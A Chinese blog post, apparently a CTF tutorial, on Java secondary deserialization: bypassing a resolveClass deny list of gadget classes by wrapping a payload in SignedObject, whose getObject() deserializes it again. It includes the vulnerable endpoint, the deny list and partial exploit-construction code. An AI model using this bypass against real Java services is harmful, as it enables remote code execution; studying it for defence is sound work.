java二次反序列化

适合场景

很多java题目,大都弄了个类继承ObjectInputStream,重写其resolveClass方法,在里面添加对反序列化类黑名单的校验。

javaGuide

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public String deserialize(@RequestParam String payload) {
byte[] decode = Base64.getDecoder().decode(payload);

try {
MyObjectInputStream myObjectInputStream = new MyObjectInputStream(new ByteArrayInputStream(decode));
myObjectInputStream.readObject();
return "ok";
} catch (InvalidClassException e) {
return e.getMessage();
} catch (Exception e) {
e.printStackTrace();
return "exception";
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.example.javaguide;

import java.io.IOException;
import java.io.InputStream;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;

public class MyObjectInputStream extends ObjectInputStream {
public MyObjectInputStream(InputStream in) throws IOException {
super(in);
}

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
String[] denyClasses = new String[]{"com.sun.org.apache.xalan.internal.xsltc.trax", "javax.management", "com.fasterxml.jackson"};
int var5 = denyClasses.length;

for(String denyClass : denyClasses) {
if (className.startsWith(denyClass)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
}

return super.resolveClass(desc);
}
}

这里把下列类给过滤了,但是我们又必须用到这些类,那么就必须使用二次反序列化

1
{"com.sun.org.apache.xalan.internal.xsltc.trax", "javax.management", "com.fasterxml.jackson"}

分析

二次反序列化的原理是用一个不在黑名单里的类,让他触发readObject,然后在反序列化过程中再一次调用readObject,并且这个反序列化类我们可控

SignedObject::getObject()

1
2
3
4
5
6
7
8
9
10
11
public Object getObject()
throws IOException, ClassNotFoundException
{
// creating a stream pipe-line, from b to a
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}

这个方法中的a可控,并且再一次进行了readObject

1
2
3
4
5
6
7
8
list.add(badAttributeValueExpException);
KeyPairGenerator kpg=KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair keyPair=kpg.generateKeyPair();
PrivateKey privateKey=keyPair.getPrivate();
Signature signature=Signature.getInstance("DSA");
SignedObject signedObject=new SignedObject(list,privateKey,signature);//list是第二次触发readObject的对象
signedObject.getObject();

接下我们就可以衔接上一章提及的jsonArray类的toString方法会触发任意类的getter方法,那么就可以用它来触发getObject,然后在使用BadAttributeValueExpException触发他的toString方法,我们可以使用之后讲的EventListenerList的任意toString触发来执行也可以


java二次反序列化
https://lvyzcc.github.io/2025/04/18/java二次反序列化/
作者
LvYz
发布于
2025年4月18日
许可协议